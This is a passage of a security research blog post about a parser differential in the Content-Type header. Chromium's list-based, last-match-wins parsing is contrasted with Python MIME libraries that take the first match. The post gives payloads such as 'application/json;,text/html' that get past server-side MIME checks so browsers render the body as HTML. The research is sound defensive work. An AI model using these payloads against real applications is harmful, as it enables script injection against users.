      <span class="kt">size_t</span> <span class="n">value_end</span> <span class="o">=</span> <span class="n">values_begin</span> <span class="o">+</span> <span class="n">it</span><span class="p">.</span><span class="n">value_end</span><span class="p">();</span>

      <span class="n">AddToParsed</span><span class="p">(</span><span class="n">name_begin</span><span class="p">,</span> <span class="n">name_end</span><span class="p">,</span> <span class="n">value_begin</span><span class="p">,</span> <span class="n">value_end</span><span class="p">);</span>
      <span class="p">[...]</span>
    <span class="p">}</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p><a href="https://source.chromium.org/chromium/chromium/src/+/main:net/http/http_response_headers.cc;l=973-978;drc=bf712ec1a13783224debb691ba88ad5c15b93194"><code class="language-plaintext highlighter-rouge">net/http/http_response_headers.cc</code> line 973 - 978</a>:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="n">HttpResponseHeaders</span><span class="o">::</span><span class="n">AddToParsed</span><span class="p">(</span><span class="kt">size_t</span> <span class="n">name_begin</span><span class="p">,</span>
                                      <span class="kt">size_t</span> <span class="n">name_end</span><span class="p">,</span>
                                      <span class="kt">size_t</span> <span class="n">value_begin</span><span class="p">,</span>
                                      <span class="kt">size_t</span> <span class="n">value_end</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">parsed_</span><span class="p">.</span><span class="n">emplace_back</span><span class="p">(</span><span class="n">name_begin</span><span class="p">,</span> <span class="n">name_end</span><span class="p">,</span> <span class="n">value_begin</span><span class="p">,</span> <span class="n">value_end</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Based on the above parsing logic, <strong>Chromium treats the <code class="language-plaintext highlighter-rouge">Content-Type</code> response header as a list-based field</strong>. Therefore, if the header is the following:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Content-Type: application/json,text/html
</code></pre></div></div>

<p>Method <code class="language-plaintext highlighter-rouge">HttpResponseHeaders::Parse</code> will ultimately append the following elements to the parsed headers vector (<code class="language-plaintext highlighter-rouge">parsed_</code>):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Content-Type: application/json
Content-Type: text/html
</code></pre></div></div>

<h3 id="last-match-wins-problem">Last Match Wins Problem</h3>

<p>The next question is: How does Chromium parse the <code class="language-plaintext highlighter-rouge">Content-Type</code> response header’s <em>value</em> (MIME type)?</p>

<p>To parse the header’s value, Chromium calls method <code class="language-plaintext highlighter-rouge">GetMimeTypeAndCharset</code> in class <code class="language-plaintext highlighter-rouge">HttpResponseHeaders</code>:</p>

<p><a href="https://source.chromium.org/chromium/chromium/src/+/main:net/http/http_response_headers.cc;l=1044-1056;drc=79c84d61487467de906189e30f23a652a10283c9"><code class="language-plaintext highlighter-rouge">net/http/http_response_headers.cc</code> line 1044 - 1056</a>:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="n">HttpResponseHeaders</span><span class="o">::</span><span class="n">GetMimeTypeAndCharset</span><span class="p">(</span><span class="n">std</span><span class="o">::</span><span class="n">string</span><span class="o">*</span> <span class="n">mime_type</span><span class="p">,</span>
                                                <span class="n">std</span><span class="o">::</span><span class="n">string</span><span class="o">*</span> <span class="n">charset</span><span class="p">)</span> <span class="k">const</span> <span class="p">{</span>
  <span class="n">mime_type</span><span class="o">-&gt;</span><span class="n">clear</span><span class="p">();</span>
  <span class="p">[...]</span>
  <span class="kt">size_t</span> <span class="n">iter</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="k">while</span> <span class="p">((</span><span class="n">value</span> <span class="o">=</span> <span class="n">EnumerateHeader</span><span class="p">(</span><span class="o">&amp;</span><span class="n">iter</span><span class="p">,</span> <span class="s">"content-type"</span><span class="p">)))</span> <span class="p">{</span>
    <span class="p">[...]</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>To iterate each parsed <code class="language-plaintext highlighter-rouge">Content-Type</code> header(s), the method calls <code class="language-plaintext highlighter-rouge">EnumerateHeader</code> and returns the header’s value. Based on <a href="https://source.chromium.org/chromium/chromium/src/+/main:net/http/http_response_headers.h;l=269-298;drc=bf712ec1a13783224debb691ba88ad5c15b93194">the comment in <code class="language-plaintext highlighter-rouge">EnumerateHeader</code></a>, if the <code class="language-plaintext highlighter-rouge">size_t</code> variable <code class="language-plaintext highlighter-rouge">iter</code> is <code class="language-plaintext highlighter-rouge">0</code> and it passes the argument by address, comma-separated lists are parsed as unique headers:</p>

<p><a href="https://source.chromium.org/chromium/chromium/src/+/main:net/http/http_response_headers.cc;l=745-767;drc=a9f09a1411a697ace066a84efd018f49c28cc8a3"><code class="language-plaintext highlighter-rouge">net/http/http_response_headers.cc</code> line 745 - 767</a>:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">std</span><span class="o">::</span><span class="n">optional</span><span class="o">&lt;</span><span class="n">std</span><span class="o">::</span><span class="n">string_view</span><span class="o">&gt;</span> <span class="n">HttpResponseHeaders</span><span class="o">::</span><span class="n">EnumerateHeader</span><span class="p">(</span>
    <span class="kt">size_t</span><span class="o">*</span> <span class="n">iter</span><span class="p">,</span>
    <span class="n">std</span><span class="o">::</span><span class="n">string_view</span> <span class="n">name</span><span class="p">)</span> <span class="k">const</span> <span class="p">{</span>
  <span class="kt">size_t</span> <span class="n">i</span><span class="p">;</span>
  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">iter</span> <span class="o">||</span> <span class="o">!*</span><span class="n">iter</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">i</span> <span class="o">=</span> <span class="n">FindHeader</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">name</span><span class="p">);</span>
  <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
    <span class="p">[...]</span>
  <span class="p">}</span>
  <span class="p">[...]</span>
  <span class="k">return</span> <span class="n">header_value</span><span class="p">(</span><span class="n">parsed_</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>After getting the header’s value, method <code class="language-plaintext highlighter-rouge">GetMimeTypeAndCharset</code> will then call static method <code class="language-plaintext highlighter-rouge">ParseContentType</code> in class <code class="language-plaintext highlighter-rouge">HttpUtil</code>, which calls method <code class="language-plaintext highlighter-rouge">ParseMimeType</code> to parse the given MIME type string.</p>

<p><a href="https://source.chromium.org/chromium/chromium/src/+/main:net/http/http_util.cc;l=109-116;drc=b487025faae454db2403a4e7189efd592c0b208a"><code class="language-plaintext highlighter-rouge">net/http/http_util.cc</code> line 109 - 116</a>:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="n">HttpUtil</span><span class="o">::</span><span class="n">ParseContentType</span><span class="p">(</span><span class="n">std</span><span class="o">::</span><span class="n">string_view</span> <span class="n">content_type_str</span><span class="p">,</span>
                                <span class="n">std</span><span class="o">::</span><span class="n">string</span><span class="o">*</span> <span class="n">mime_type</span><span class="p">,</span>
                                <span class="n">std</span><span class="o">::</span><span class="n">string</span><span class="o">*</span> <span class="n">charset</span><span class="p">,</span>
                                <span class="kt">bool</span><span class="o">*</span> <span class="n">had_charset</span><span class="p">,</span>
                                <span class="n">std</span><span class="o">::</span><span class="n">string</span><span class="o">*</span> <span class="n">boundary</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">std</span><span class="o">::</span><span class="n">string</span> <span class="n">mime_type_value</span><span class="p">;</span>
  <span class="n">base</span><span class="o">::</span><span class="n">StringPairs</span> <span class="n">params</span><span class="p">;</span>
  <span class="kt">bool</span> <span class="n">result</span> <span class="o">=</span> <span class="n">ParseMimeType</span><span class="p">(</span><span class="n">content_type_str</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">mime_type_value</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">params</span><span class="p">);</span>
  <span class="p">[...]</span>
</code></pre></div></div>

<p>Let’s use the payload from the very beginning of this blog post (<code class="language-plaintext highlighter-rouge">application/json;,text/html</code>) as an example!</p>

<blockquote>
  <p>Note: We’ll get back to that semicolon character (<code class="language-plaintext highlighter-rouge">;</code>) later.</p>
</blockquote>

<ul>
  <li>First iteration (<code class="language-plaintext highlighter-rouge">application/json;</code>):</li>
</ul>

<p>Inside method <code class="language-plaintext highlighter-rouge">ParseMimeType</code>, it’ll try to parse the MIME type string to see if the syntax is valid or not. Since our MIME type string is syntactically correct, the method returns <code class="language-plaintext highlighter-rouge">true</code>, meaning that the MIME type string can be parsed.</p>

<p><a href="https://source.chromium.org/chromium/chromium/src/+/main:net/base/mime_util.cc;l=515-624;drc=b487025faae454db2403a4e7189efd592c0b208a"><code class="language-plaintext highlighter-rouge">net/base/mime_util.cc</code> line 515 - 624</a>:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">bool</span> <span class="nf">ParseMimeType</span><span class="p">(</span><span class="n">std</span><span class="o">::</span><span class="n">string_view</span> <span class="n">type_str</span><span class="p">,</span>
                   <span class="n">std</span><span class="o">::</span><span class="n">string</span><span class="o">*</span> <span class="n">mime_type</span><span class="p">,</span>
                   <span class="n">base</span><span class="o">::</span><span class="n">StringPairs</span><span class="o">*</span> <span class="n">params</span><span class="p">)</span> <span class="p">{</span>
  <span class="c1">// Trim leading and trailing whitespace from type.  We include '(' in</span>
  <span class="c1">// the trailing trim set to catch media-type comments, which are not at all</span>
  <span class="c1">// standard, but may occur in rare cases.</span>
  <span class="kt">size_t</span> <span class="n">type_val</span> <span class="o">=</span> <span class="n">type_str</span><span class="p">.</span><span class="n">find_first_not_of</span><span class="p">(</span><span class="n">HTTP_LWS</span><span class="p">);</span>
  <span class="n">type_val</span> <span class="o">=</span> <span class="n">std</span><span class="o">::</span><span class="n">min</span><span class="p">(</span><span class="n">type_val</span><span class="p">,</span> <span class="n">type_str</span><span class="p">.</span><span class="n">length</span><span class="p">());</span>
  <span class="kt">size_t</span> <span class="n">type_end</span> <span class="o">=</span> <span class="n">type_str</span><span class="p">.</span><span class="n">find_first_of</span><span class="p">(</span><span class="n">HTTP_LWS</span> <span class="s">";("</span><span class="p">,</span> <span class="n">type_val</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">type_end</span> <span class="o">==</span> <span class="n">std</span><span class="o">::</span><span class="n">string</span><span class="o">::</span><span class="n">npos</span><span class="p">)</span>
    <span class="n">type_end</span> <span class="o">=</span> <span class="n">type_str</span><span class="p">.</span><span class="n">length</span><span class="p">();</span>

  <span class="c1">// Reject a mime-type if it does not include a slash.</span>
  <span class="kt">size_t</span> <span class="n">slash_pos</span> <span class="o">=</span> <span class="n">type_str</span><span class="p">.</span><span class="n">find_first_of</span><span class="p">(</span><span class="sc">'/'</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">slash_pos</span> <span class="o">==</span> <span class="n">std</span><span class="o">::</span><span class="n">string</span><span class="o">::</span><span class="n">npos</span> <span class="o">||</span> <span class="n">slash_pos</span> <span class="o">&gt;</span> <span class="n">type_end</span><span class="p">)</span>
    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
  <span class="p">[...]</span>
  <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Since method <code class="language-plaintext highlighter-rouge">ParseMimeType</code> returns <code class="language-plaintext highlighter-rouge">true</code>, static method <code class="language-plaintext highlighter-rouge">ParseContentType</code> will then check if our MIME type string is the same as the parsed <code class="language-plaintext highlighter-rouge">mime_type</code>. However, since <code class="language-plaintext highlighter-rouge">mime_type</code> is cleared in the first loop iteration (<code class="language-plaintext highlighter-rouge">mime_type-&gt;clear();</code> back in method <code class="language-plaintext highlighter-rouge">GetMimeTypeAndCharset</code>), it’ll set <code class="language-plaintext highlighter-rouge">mime_type</code> pointer’s value to our MIME type string:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="n">HttpUtil</span><span class="o">::</span><span class="n">ParseContentType</span><span class="p">(</span><span class="n">std</span><span class="o">::</span><span class="n">string_view</span> <span class="n">content_type_str</span><span class="p">,</span>
                                <span class="n">std</span><span class="o">::</span><span class="n">string</span><span class="o">*</span> <span class="n">mime_type</span><span class="p">,</span>
                                <span class="n">std</span><span class="o">::</span><span class="n">string</span><span class="o">*</span> <span class="n">charset</span><span class="p">,</span>
                                <span class="kt">bool</span><span class="o">*</span> <span class="n">had_charset</span><span class="p">,</span>
                                <span class="n">std</span><span class="o">::</span><span class="n">string</span><span class="o">*</span> <span class="n">boundary</span><span class="p">)</span> <span class="p">{</span>
  <span class="p">[...]</span>
  <span class="kt">bool</span> <span class="n">eq</span> <span class="o">=</span> <span class="n">base</span><span class="o">::</span><span class="n">EqualsCaseInsensitiveASCII</span><span class="p">(</span><span class="n">mime_type_value</span><span class="p">,</span> <span class="o">*</span><span class="n">mime_type</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">eq</span><span class="p">)</span> <span class="p">{</span>
    <span class="o">*</span><span class="n">mime_type</span> <span class="o">=</span> <span class="n">base</span><span class="o">::</span><span class="n">ToLowerASCII</span><span class="p">(</span><span class="n">mime_type_value</span><span class="p">);</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<ul>
  <li>Second iteration (<code class="language-plaintext highlighter-rouge">text/html</code>):</li>
</ul>

<p>Inside method <code class="language-plaintext highlighter-rouge">ParseMimeType</code>, our MIME type string is, again, syntactically correct. This time, however, since <code class="language-plaintext highlighter-rouge">mime_type</code> is not falsey anymore due to the previous loop, <strong>it’ll overwrite previous <code class="language-plaintext highlighter-rouge">mime_type</code> with this new value</strong> and return <code class="language-plaintext highlighter-rouge">true</code>:</p>

<p><a href="https://source.chromium.org/chromium/chromium/src/+/main:net/base/mime_util.cc;l=531-532;drc=b487025faae454db2403a4e7189efd592c0b208a"><code class="language-plaintext highlighter-rouge">net/base/mime_util.cc</code> line 531 - 532</a>:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">bool</span> <span class="nf">ParseMimeType</span><span class="p">(</span><span class="n">std</span><span class="o">::</span><span class="n">string_view</span> <span class="n">type_str</span><span class="p">,</span>
                   <span class="n">std</span><span class="o">::</span><span class="n">string</span><span class="o">*</span> <span class="n">mime_type</span><span class="p">,</span>
                   <span class="n">base</span><span class="o">::</span><span class="n">StringPairs</span><span class="o">*</span> <span class="n">params</span><span class="p">)</span> <span class="p">{</span>
  <span class="p">[...]</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">mime_type</span><span class="p">)</span>
    <span class="o">*</span><span class="n">mime_type</span> <span class="o">=</span> <span class="n">type_str</span><span class="p">.</span><span class="n">substr</span><span class="p">(</span><span class="n">type_val</span><span class="p">,</span> <span class="n">type_end</span> <span class="o">-</span> <span class="n">type_val</span><span class="p">);</span>
  <span class="p">[...]</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Therefore, the final MIME type string is the <strong>last valid MIME type string</strong>. In our case, it is <code class="language-plaintext highlighter-rouge">text/html</code>.</p>

<p>This behavior is <a href="https://datatracker.ietf.org/doc/html/rfc9110#section-8.3-7">documented in the RFC</a>, and it’s not compliant with the specification:</p>

<blockquote>
  <p>[…]. <strong>Recipients often attempt to handle this error by using the last syntactically valid member of the list</strong>, leading to potential interoperability and security issues if different implementations have different error handling behaviors.</p>
</blockquote>

<h2 id="bypassing-mime-validation-via-list-based-field-parser-differential">Bypassing MIME Validation via List-Based Field Parser Differential</h2>

<p>Now that we learned the root cause of the “Multiple Content-Type” trick, it’s time to abuse this list-based field feature to bypass some MIME validations!</p>

<p>Based on my tested libraries, all MIME type parser libraries will follow the <a href="https://mimesniff.spec.whatwg.org/#parsing-a-mime-type">MIME parsing specification</a> instead of browser’s <a href="https://fetch.spec.whatwg.org/#example-extract-a-mime-type">fetch standard</a>. Therefore, those libraries do NOT support list-based field and will not split the MIME type string with a comma character. Also, parsers will most likely only match the first syntactically valid MIME type string.</p>

<p>Not only that, in the specification, MIME type’s <a href="https://mimesniff.spec.whatwg.org/#ref-for-http-token-code-point%E2%91%A2">parameter name should only contain HTTP token code points</a>, which means comma and forward slash characters are NOT allowed. However, most parsers are very lenient towards the allowed characters in the parameter name. For the parameter’s value, <a href="https://mimesniff.spec.whatwg.org/#ref-for-http-quoted-string-token-code-point%E2%91%A0">it should only contain HTTP quoted-string token code points</a>, which allows comma and forward slash characters. Unfortunately, some parsers are very strict towards the parameter value and those special characters must be inside a double-quoted string (i.e.: <code class="language-plaintext highlighter-rouge">foo="text/html"</code>).</p>

<p>In MIME type, a parameter is everything after the <a href="https://mimesniff.spec.whatwg.org/#subtype">subtype</a> (text/<strong>html</strong>) and the parameter delimiter (Semicolon). Example:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>text/html;key=value
</code></pre></div></div>

<ul>
  <li><a href="https://mimesniff.spec.whatwg.org/#type">Type</a>: <code class="language-plaintext highlighter-rouge">text</code></li>
  <li><a href="https://mimesniff.spec.whatwg.org/#subtype">Subtype</a>: <code class="language-plaintext highlighter-rouge">html</code></li>
  <li><a href="https://mimesniff.spec.whatwg.org/#mime-type-essence">Essence</a>: <code class="language-plaintext highlighter-rouge">text/html</code></li>
  <li><a href="https://mimesniff.spec.whatwg.org/#parameters">Parameters</a>:
    <ul>
      <li><code class="language-plaintext highlighter-rouge">key</code>: <code class="language-plaintext highlighter-rouge">value</code></li>
    </ul>
  </li>
</ul>

<p>With those in mind, let’s take a look at some bypass examples!</p>

<h3 id="extremely-lenient-parser-python-emailmessage">Extremely Lenient Parser: Python <code class="language-plaintext highlighter-rouge">email.message</code></h3>

<p>At the very beginning of this research, I demonstrated how the MIME validation can be bypassed, and the browser parsed the body data as HTML code via the following payload:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>application/json;,text/html
</code></pre></div></div>

<p>Where two parsers parsed the input as the following result:</p>
<ul>
  <li>Python library <code class="language-plaintext highlighter-rouge">email.message</code>: <code class="language-plaintext highlighter-rouge">application/json</code></li>
  <li>Browser: <code class="language-plaintext highlighter-rouge">text/html</code></li>
</ul>

<p>Why? Well, in Python library <code class="language-plaintext highlighter-rouge">email.message</code>, the <code class="language-plaintext highlighter-rouge">get_content_type</code> method will simply split the MIME type string with the parameter delimiter:</p>

<p><a href="https://github.com/python/cpython/blob/7af0d0607d50e53efabb836f551e5e8d7c4510e8/Lib/email/message.py#L608-L630"><code class="language-plaintext highlighter-rouge">Lib/email/message.py</code> line 608 - 630</a>:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">Message</span><span class="p">:</span>
    <span class="p">[...]</span>
    <span class="k">def</span> <span class="nf">get_content_type</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="p">[...]</span>
        <span class="n">ctype</span> <span class="o">=</span> <span class="n">_splitparam</span><span class="p">(</span><span class="n">value</span><span class="p">)[</span><span class="mi">0</span><span class="p">].</span><span class="n">lower</span><span class="p">()</span>
        <span class="p">[...]</span>
</code></pre></div></div>

<p><a href="https://github.com/python/cpython/blob/7af0d0607d50e53efabb836f551e5e8d7c4510e8/Lib/email/message.py#L29-L37"><code class="language-plaintext highlighter-rouge">Lib/email/message.py</code> line 29 - 37</a>:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">_splitparam</span><span class="p">(</span><span class="n">param</span><span class="p">):</span>
    <span class="c1"># Split header parameters.  BAW: this may be too simple.  It isn't
</span>    <span class="c1"># strictly RFC 2045 (section 5.1) compliant, but it catches most headers
</span>    <span class="c1"># found in the wild.  We may eventually need a full fledged parser.
</span>    <span class="c1"># RDM: we might have a Header here; for now just stringify it.
</span>    <span class="n">a</span><span class="p">,</span> <span class="n">sep</span><span class="p">,</span> <span class="n">b</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">param</span><span class="p">).</span><span class="n">partition</span><span class="p">(</span><span class="s">';'</span><span class="p">)</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">sep</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">a</span><span class="p">.</span><span class="n">strip</span><span class="p">(),</span> <span class="bp">None</span>
    <span class="k">return</span> <span class="n">a</span><span class="p">.</span><span class="n">strip</span><span class="p">(),</span> <span class="n">b</span><span class="p">.</span><span class="n">strip</span><span class="p">()</span>
</code></pre></div></div>

<p>Of course, this implementation didn’t comply with the specification at all and has no character validation against our MIME type string. Moreover, it’ll return the MIME essence (<code class="language-plaintext highlighter-rouge">a</code>) if our MIME type string doesn’t contain the parameter delimiter. If it does contain the delimiter, the function returns the MIME essence and presumably parameters (<code class="language-plaintext highlighter-rouge">b</code>) by using method <a href="https://docs.python.org/3/library/stdtypes.html#str.partition"><code class="language-plaintext highlighter-rouge">partition</code></a>:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>└&gt; python3
<span class="o">[</span>...]
<span class="o">&gt;&gt;&gt;</span> <span class="s1">'application/json;text/html'</span>.partition<span class="o">(</span><span class="s1">';'</span><span class="o">)</span>
<span class="o">(</span><span class="s1">'application/json'</span>, <span class="s1">';'</span>, <span class="s1">'text/html'</span><span class="o">)</span>
</code></pre></div></div>

<p>After splitting the parameters, method <code class="language-plaintext highlighter-rouge">get_content_type</code> will ultimately use the returned MIME essence value and discard the parameters:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">Message</span><span class="p">:</span>
    <span class="p">[...]</span>
    <span class="k">def</span> <span class="nf">get_content_type</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="p">[...]</span>
        <span class="n">ctype</span> <span class="o">=</span> <span class="n">_splitparam</span><span class="p">(</span><span class="n">value</span><span class="p">)[</span><span class="mi">0</span><span class="p">].</span><span class="n">lower</span><span class="p">()</span>
        <span class="p">[...]</span>
</code></pre></div></div>

<p>However, we cannot simply use the payload <code class="language-plaintext highlighter-rouge">application/json,text/html</code>. Because the method will check that the MIME essence doesn’t contain more than 1 forward slash character. Otherwise, it’ll deem the MIME essence as invalid and return the default MIME essence, <code class="language-plaintext highlighter-rouge">text/plain</code>:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">Message</span><span class="p">:</span>
    <span class="p">[...]</span>
    <span class="k">def</span> <span class="nf">get_content_type</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="p">[...]</span>
        <span class="n">ctype</span> <span class="o">=</span> <span class="n">_splitparam</span><span class="p">(</span><span class="n">value</span><span class="p">)[</span><span class="mi">0</span><span class="p">].</span><span class="n">lower</span><span class="p">()</span>
        <span class="c1"># RFC 2045, section 5.2 says if its invalid, use text/plain
</span>        <span class="k">if</span> <span class="n">ctype</span><span class="p">.</span><span class="n">count</span><span class="p">(</span><span class="s">'/'</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">1</span><span class="p">:</span>
            <span class="k">return</span> <span class="s">'text/plain'</span>
        <span class="k">return</span> <span class="n">ctype</span>
</code></pre></div></div>

<p>To bypass this check, we can simply “hide” our <code class="language-plaintext highlighter-rouge">text/html</code> in the parameter, as it’s not used by method <code class="language-plaintext highlighter-rouge">get_content_type</code>. That’s why most of the time the payload must have the parameter delimiter:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>application/json;,text/html
</code></pre></div></div>

<ul>
  <li>MIME essence: <code class="language-plaintext highlighter-rouge">application/json</code></li>
  <li>Parameters:
    <ul>
      <li><code class="language-plaintext highlighter-rouge">,text/html</code>: An empty string</li>
    </ul>
  </li>
</ul>

<h3 id="requires-parameter-name-value-pair-python-googleapiclientmimeparse-plus-a-weird-quirk-in-chromium">Requires Parameter Name-Value Pair: Python <em>googleapiclient.mimeparse</em> (Plus a Weird Quirk in Chromium)</h3>

<p>Some parsers, such as <a href="https://googleapis.github.io/google-api-python-client/docs/epy/googleapiclient.mimeparse-module.html#parse_mime_type"><code class="language-plaintext highlighter-rouge">googleapiclient.mimeparse</code></a>, require the MIME type string to have a name-value pair during parameter parsing state:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">googleapiclient.mimeparse</span> <span class="kn">import</span> <span class="n">parse_mime_type</span>

<span class="k">def</span> <span class="nf">parseContentTypeHeader</span><span class="p">(</span><span class="n">contentTypeHeader</span><span class="p">):</span>
    <span class="nb">type</span><span class="p">,</span> <span class="n">subtype</span><span class="p">,</span> <span class="n">parameters</span> <span class="o">=</span> <span class="n">parse_mime_type</span><span class="p">(</span><span class="n">contentTypeHeader</span><span class="p">)</span>
    <span class="k">return</span> <span class="sa">f</span><span class="s">'</span><span class="si">{</span><span class="nb">type</span><span class="si">}</span><span class="s">/</span><span class="si">{</span><span class="n">subtype</span><span class="si">}</span><span class="s">'</span>
</code></pre></div></div>

<p>If we use payload <code class="language-plaintext highlighter-rouge">application/json;,text/html</code>, it’ll throw a <code class="language-plaintext highlighter-rouge">ValueError</code> exception. Why? Well, that’s because it expects each parameter should contain an equals sign character (<code class="language-plaintext highlighter-rouge">=</code>) when parsing the parameters:</p>

<p><a href="https://github.com/googleapis/google-api-python-client/blob/049bdb69d976ff4e941fb3ee503e793caca5bf39/googleapiclient/mimeparse.py#L45-L48"><code class="language-plaintext highlighter-rouge">googleapiclient/mimeparse.py</code> line 45 - 48</a>:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">parse_mime_type</span><span class="p">(</span><span class="n">mime_type</span><span class="p">):</span>
    <span class="p">[...]</span>
    <span class="n">parts</span> <span class="o">=</span> <span class="n">mime_type</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">";"</span><span class="p">)</span>
    <span class="n">params</span> <span class="o">=</span> <span class="nb">dict</span><span class="p">(</span>
        <span class="p">[</span><span class="nb">tuple</span><span class="p">([</span><span class="n">s</span><span class="p">.</span><span class="n">strip</span><span class="p">()</span> <span class="k">for</span> <span class="n">s</span> <span class="ow">in</span> <span class="n">param</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">"="</span><span class="p">,</span> <span class="mi">1</span><span class="p">)])</span> <span class="k">for</span> <span class="n">param</span> <span class="ow">in</span> <span class="n">parts</span><span class="p">[</span><span class="mi">1</span><span class="p">:]]</span>
    <span class="p">)</span>
    <span class="p">[...]</span>
</code></pre></div></div>

<p>Since our parameter <code class="language-plaintext highlighter-rouge">,text/html</code> does not contain an equals sign character, the tuple will only have 1 element from the <code class="language-plaintext highlighter-rouge">split</code> method call, and thus can’t be converted into a dictionary data type.</p>

<p>To fix this issue, we can just add an equals sign character to our payload’s parameter name or value.</p>

<p>Parameter name:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>application/json;=,text/html
</code></pre></div></div>

<ul>
  <li>MIME essence: <code class="language-plaintext highlighter-rouge">application/json</code></li>
  <li>Parameters:
    <ul>
      <li>An empty string: <code class="language-plaintext highlighter-rouge">,text/html</code></li>
    </ul>
  </li>
</ul>

<p>Parameter value:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>application/json;,text/html,=
</code></pre></div></div>

<ul>
  <li>MIME essence: <code class="language-plaintext highlighter-rouge">application/json</code></li>
  <li>Parameters:
    <ul>
      <li><code class="language-plaintext highlighter-rouge">,text/html,</code>: An empty string</li>
    </ul>
  </li>
</ul>

<blockquote>
  <p>Remember browser use the <em>last syntactically valid</em> MIME type string. In this case, it is <code class="language-plaintext highlighter-rouge">text/html</code>.</p>
</blockquote>

<p>Or this: <em>(Chromium-based browsers only)</em></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>application/json;,text/html(=
</code></pre></div></div>

<ul>
  <li>MIME essence: <code class="language-plaintext highlighter-rouge">application/json</code></li>
  <li>Parameters:
    <ul>
      <li><code class="language-plaintext highlighter-rouge">,text/html(</code>: An empty string</li>
    </ul>
  </li>
</ul>

<p>This one, however, leverages one weird quirk on how Chromium determines where the MIME type ends. You might have noticed this back in section “<a href="#last-match-wins-problem">Last Match Wins Problem</a>” or <a href="https://github.com/BlackFan/content-type-research/blob/master/XSS.md#response-content-type-tricks">BlackFan’s “Mime-type separators”</a> trick:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">bool</span> <span class="nf">ParseMimeType</span><span class="p">(</span><span class="n">std</span><span class="o">::</span><span class="n">string_view</span> <span class="n">type_str</span><span class="p">,</span>
                   <span class="n">std</span><span class="o">::</span><span class="n">string</span><span class="o">*</span> <span class="n">mime_type</span><span class="p">,</span>
                   <span class="n">base</span><span class="o">::</span><span class="n">StringPairs</span><span class="o">*</span> <span class="n">params</span><span class="p">)</span> <span class="p">{</span>
  <span class="c1">// Trim leading and trailing whitespace from type.  We include '(' in</span>
  <span class="c1">// the trailing trim set to catch media-type comments, which are not at all</span>
  <span class="c1">// standard, but may occur in rare cases.</span>
  <span class="p">[...]</span>
  <span class="kt">size_t</span> <span class="n">type_end</span> <span class="o">=</span> <span class="n">type_str</span><span class="p">.</span><span class="n">find_first_of</span><span class="p">(</span><span class="n">HTTP_LWS</span> <span class="s">";("</span><span class="p">,</span> <span class="n">type_val</span><span class="p">);</span>
  <span class="p">[...]</span>
<span class="p">}</span>
</code></pre></div></div>

